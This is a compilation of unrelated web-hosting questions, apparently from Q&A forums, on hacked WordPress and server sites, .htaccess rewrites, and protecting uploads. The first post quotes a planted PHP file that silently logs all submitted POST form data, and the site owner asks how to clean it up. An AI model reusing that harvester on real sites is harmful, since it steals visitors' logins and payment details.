I was facing a hack   My website is not hosted on a server but shared hosting, If server is hacked I cannot do anything.  My Question is not about how to safeguard the server, but is the below code is only file that should be removed or not, Is the below file is what allowed hack ?? how much does that code can alter my site. I don't have a hacked server but a hacked wordpress site please don't mark it duplicate.  I want to safeguard wordpress if possible  what happened is that links were created with my domain as parent for example www.example.com/bellagio and this redirected to a casino site. I don't have a file or folder named bellagio and I certainly don't want to show a casino page.  Earlier it was hard to guess so I deleted each and every file in my wordpress site, I reloaded the account throgh hosting panel, I was going to do that again but then I found this file named " webftf67rty6t7fi7r6a.txt " and I am pretty sure I did not created it.  The code in the file seems a php code which is   &lt;?php $filename = "webftf67rty6t7fi7r6a.txt"; foreach($_POST as $key =&gt; $value) {     file_put_contents($filename, "$key: $value\n", FILE_APPEND); } file_put_contents($filename, "----------\n", FILE_APPEND); ?&gt;   what more Should I look for, will removing this file will remove access of blocker ? should I check all folders for same file name/different file name ? Is it because I use godaddy ?  Is it for the code used to hack my site ? it was in wp-contents folder so how to prevent this from happening again ?  I run a ecommerce store so it needs to go and yes any detail what this hack can do at most ?  Thank you if you take time to answer my queries, I am novice at these things :(
281
This is a  about Server Security - Responding to Breach Events (Hacking)   See Also:                  Canonical Version I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism:   What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", are there other initial considerations? How do I go about getting services back online? How do I prevent the same thing from happening immediately again? Are there best practices or methodologies for learning from this incident? If I wanted to put a Incident Response Plan together, where would I start? Should this be part of my Disaster Recovery or Business Continuity Planning?   Original Version       2011.01.02 - I'm on my way into work at 9.30 p.m. on a Sunday because our server has been compromised somehow and was resulting in a    attack on our provider. The servers access to the Internet   has been shut down which means over 5-600 of our clients sites are now   down. Now this could be an FTP hack, or some weakness in code   somewhere. I'm not sure till I get there.      How can I track this down quickly? We're in for a whole lot of   litigation if I don't get the server back up ASAP. Any help is   appreciated. We are running Open SUSE 11.0.            2011.01.03 - Thanks to everyone for your help. Luckily I WASN'T the only person responsible for this server, just the nearest. We managed   to resolve this problem, although it may not apply to many others in a   different situation. I'll detail what we did.      We unplugged the server from the net. It was performing (attempting to   perform) a Denial Of Service attack on another server in Indonesia,   and the guilty party was also based there.      We firstly tried to identify where on the server this was coming from,   considering we have over 500 sites on the server, we expected to be   moonlighting for some time. However, with SSH access still, we ran a   command to find all files edited or created in the time the attacks   started. Luckily, the offending file was created over the winter   holidays which meant that not many other files were created on the   server at that time.      We were then able to identify the offending file which was inside the   uploaded images folder within a  website.      After a short cigarette break we concluded that, due to the files   location, it must have been uploaded via a file upload facility that   was inadequetly secured. After some googling, we found that there was   a security vulnerability that allowed files to be uploaded, within the   ZenCart admin panel, for a picture for a record company. (The section   that it never really even used), posting this form just uploaded any   file, it did not check the extension of the file, and didn't even   check to see if the user was logged in.      This meant that any files could be uploaded, including a PHP file for   the attack. We secured the vulnerability with ZenCart on the infected   site, and removed the offending files.      The job was done, and I was home for 2 a.m.            The Moral   - Always apply security patches for ZenCart, or any other CMS system for that matter. As when security updates are released, the whole   world is made aware of the vulnerability.   - Always do backups, and backup your backups.   - Employ or arrange for someone that will be there in times like these. To prevent anyone from relying on a panicy post on Server   Fault.
38456
I created a block and put in some invalid PHP code resulted in entire site not accessible at all.   I'm fairly new to Drupal and I'm not a back-end programmer either. Much appreciated if you can provide a clear step-by-step guide on how to delete that particular block directly from the Database (PhpMyAdmin).
102106
The problem is a whole load of 404 errors, as reported by Google Webmaster Tools, with pages and queries that have never been there. One of them is viewtopic.php, and I've also noticed a scary number of attempts to check if the site is a WordPress site (wp_admin) and for the cPanel login. I block TRACE already, and the server is equipped with some defense against scanning/hacking. However, this doesn't seem to stop. The referrer is, according to Google Webmaster, totally.me.  I have looked for a solution to stop this, because it isn't certainly good for the poor real actual users, let alone the SEO concerns.  I am using the Perishable Press mini black list (), a standard referrer blocker (for porn, herbal, casino sites), and even some software to protect the site (XSS blocking, SQL injection, etc). The server is using other measures as well, so one would assume that the site is safe (hopefully), but it isn't ending.  Does anybody else have the same problem, or am I the only one seeing this? Is it what I think, i.e., some sort of attack? Is there a way to fix it, or better, prevent this useless resource waste?  EDIT I've never used the question to thank for the answers, and hope this can be done. Thank you all for your insightful replies, which helped me to find my way out of this. I have followed everyone's suggestions and implemented the following:   a honeypot a script that listens to suspect urls in the 404 page and sends me an email with user agent/ip, while returning a standard 404 header a script that rewards legitimate users, in the same 404 custom page,  in case they end up clicking on one of those urls. In less than 24 hours I have been able to isolate some suspect IPs, all listed in Spamhaus. All the IPs logged so far belong to spam VPS hosting companies.   Thank you all again, I would have accepted all answers if I could.
63345
I've seen posts pop up every once in a while on virus coding, and I went to flag them, but I didn't see a category under which to do so. After further investigation, I've had no luck finding rules against it, so I presume this means that there are no rules against it (correct me if i'm wrong). So my question is, why is this allowed, is it even legal, and should we allow it?
33181
This is fairly easy.  If I go to https://webserver.com/someurl?a=b, will the someurl?a=b part be protected, or just the contents of the site?
122136
I've called GoDaddy a few different times and they said that it looks like it is a problem with my HTML file.  Except, my HTML file is the basic outline of a webpage, nothing fancy at all.    Chrome still says that the webpage is, "Not Secure" with the big red x over it.    I'm not sure what to do to fix it, I don't have any personal information on the site nor am I collecting any information from visitors (it's sort of an information site).  I shouldn't need an SSL certificate because I am not hosting anything privately.
69138
The situation  Across the entire domain, we'd like the URLs to hide file extensions and remove trailing slashes, independent of the domain name itself (as in, works on any domain).  Sample of our directory structure  We're not using index.* files except for the homepage.   /  /index.php /account.php /account  /subscriptions.php  /login.php /login  /reset-password.php     The goal  Some examples of how these files might be requested, and how they should look in the browser:   / and index.php --> mydomain.com (literally just the bare domain name). /account.php or /account/ or /account --> mydomain.com/account /account/subscriptions.php or /account/subscriptions/ or /account/subscriptions --> mydomain.com/account/subscriptions   As you can see, there are several ways to access each webpage, but no matter which of the 2 or 3 ways you use to get there, it only shows the one preferred URL in the browser.  The question  How is this done with .htaccess using mod_rewrite?  I've banged my head against the wall trying to figure this out, but in general, the rewrite flow would seem to be something like this:   External 301 redirect ( mydomain.com/account/ --> mydomain.com/account ) Internally append .php ( mydomain.com/account --> mydomain.com/account.php )   I've been Googling this all day, read thousands of lines of documentation and config texts, and have tried several dozen times... I think more brains on this would help a lot.  UPDATE  We found an answer our question (see below).
7715
I have a Wordpress database which was installed in a development environment... thus, all references to the site itself have a fixed IP address (say 192.168.16.2). Now, I have to migrate that database to a new Wordpress installation on a hosting. The problem is that the SQL dump contains a lot of references to the IP address, and I have to replace it with: my_domain.com.  I could use sed or some other command to change the that from the command line, the problem is that there are a lot of configuration data which uses JSON. So what? Well, as you know, JSON arrays uses things like: s:4: to know how many chars an element has, and thus, if I just replace the IP with the domain name, the configuration files will get corrupted.  I used an app for Windows some years ago that allows to change values in a database and takes care of the JSON arrays. Unfortunately, I forgot the name of the app... so the question is: do you know any app that allows me to do what I want?
55136
First of all, I'm not looking for miracle... I know how PHP works and that there's not really way to hide my code from the clients without using encryption. But that comes with the cost of an extension to be installed on the running server.  I'm looking for something different though... I'm not looking to encrypt my code or even obfuscate it. There are many PHP scripts without encrypted/obfuscated code but they are commercial applications. For instance, vBulletin and/or IP.Board forum applications.  I just want to know what approach do these guys use for their applications...  I'm also open to any other suggestions.  Please note that I'm a single person and not working for a company. My product is also very specific, it won't sell that much. I just want you guys to know that I can't afford to consult a legal professional either to sue someone or prepare a commercial license. I'm just looking for a simple way to protect my simple product, if it's indeed possible, somehow...
55957
I want to extend my website in a way that is parallel to the wordpress theme.  Example:  My website with wordpress is at: www.mywebsite.com By ftp I added a directory named test, in which there is a php file test.php  The problem is that if I write in the url: www.mywebsite.com/test/test.php it redirects me to the "page not found" of my theme.  How can I deactivate this behavior?   Posting .htaccess:  # BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] &lt;/IfModule&gt;  # END WordPress  # # av:php5-engine AddHandler av-php5 .php  # # av:Toolbar SetEnv AV_TOOLBAR 1
53727
I'm building a small web app in PHP that stores some information in a plain text file. However, this text file is used/modified by all users of my app at some given point in time and possible at the same time.  So the questions is. What would be the best way to make sure that only one user can make changes to the file at any given point in time?
25195
I wanted to create a WP plugin. So I requested and my request was approved by WordPress.org But I don't want to develop that plugin anymore. How can I delete the repository forever or request its deletion.
74767
example.com is hosted on IP address c.c.c.c at host1, no access any windows server admin at all blog.example.com is  on IP a.a.a.a at host2, full access to Linux server admin, using WordPress   So basically, I can fiddle with subdomain all I want.  I can't 301 redirect because the content on host 1 is an eCommerce site that I have no server control over. Can't put WordPress on it, can't run scripts, can't do anything on the server period.  Is there a method to "mask" all the URLs on root blog.example.com so they appear as example.com/blog/ folder?  They can't actually be sent to example.com/blog/ as that doesn't exist. It just needs to look to the surfer as if they are there.  Can this be done with some kind of masking or something?  Will this be better for SEO as hopefully search engines will see the blog in a directory on the main domain?
91040
I wrote a PHP code like this  $site="http://www.google.com"; $content = file_get_content($site); echo $content;   But when I remove "http://" from $site I get the following warning:     Warning:   file_get_contents(www.google.com)   [function.file-get-contents]: failed   to open stream:   I tried try and catch but it didn't work.
98934
I use WordPress for a private site where users upload files. I use the "Private WordPress" to prevent access in to the site if the user is not logged in.  I would like to do the same to the files uploaded in the uploads folder.  So if a user its not logged in they wont be able to access to :  if they try to access but they are not logged then they should be redirected to login page for example.  I found a plugin called private files but last time updated was  in 2009 and it does not seems to work on my WordPress.  Anyone know any method?  Hotlinking method will be enough to protect this?  I also found this method :  # BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} ^.*uploads/private/.* RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC] RewriteRule . /index.php [R,L] RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] &lt;/IfModule&gt; # END WordPress   But then any user that replicate the cookie could pass this right? Regards
66255
I am having a tough time removing the subfolders from the URL in my WordPress site.  Currently, the URL format is: www.mysite.com/subfolder/index.php/category/postname  I would like to remove both the subfolder AND index.php from the URL.  The site must stay in a subfolder of root on my server.   My current htaccess file is:  &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase /subfolder/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /subfolder/index.php [L] &lt;/IfModule&gt;   I've tried to add the following, although it did not work.  Options +FollowSymlinks RewriteEngine on RewriteRule ^subfolder/(.*)$ http://www.mysite.com/$1 [R=301,L] RewriteRule .* index.php/$0 [PT,L]
56188
Someone has created an exact copy of my site.   At first, the code of his pages were identical to mine.  A few days later he just replaced my internal links with the same links to his own domain. At the top of his source code he uses some "Vodafone securenet" script connecting to my site.  At first I thought he was using embed or iframes or something to reproduce my site, but I have posted a new post and it doesn't show on his domain.  I have contacted the company that protects his whois info and I plan to issue a dmca with Google.  What else can I do?  Btw, this is obviously a neg seo case, since his site has no chance to appear on the search, yet it can hurt mine as duplicate content.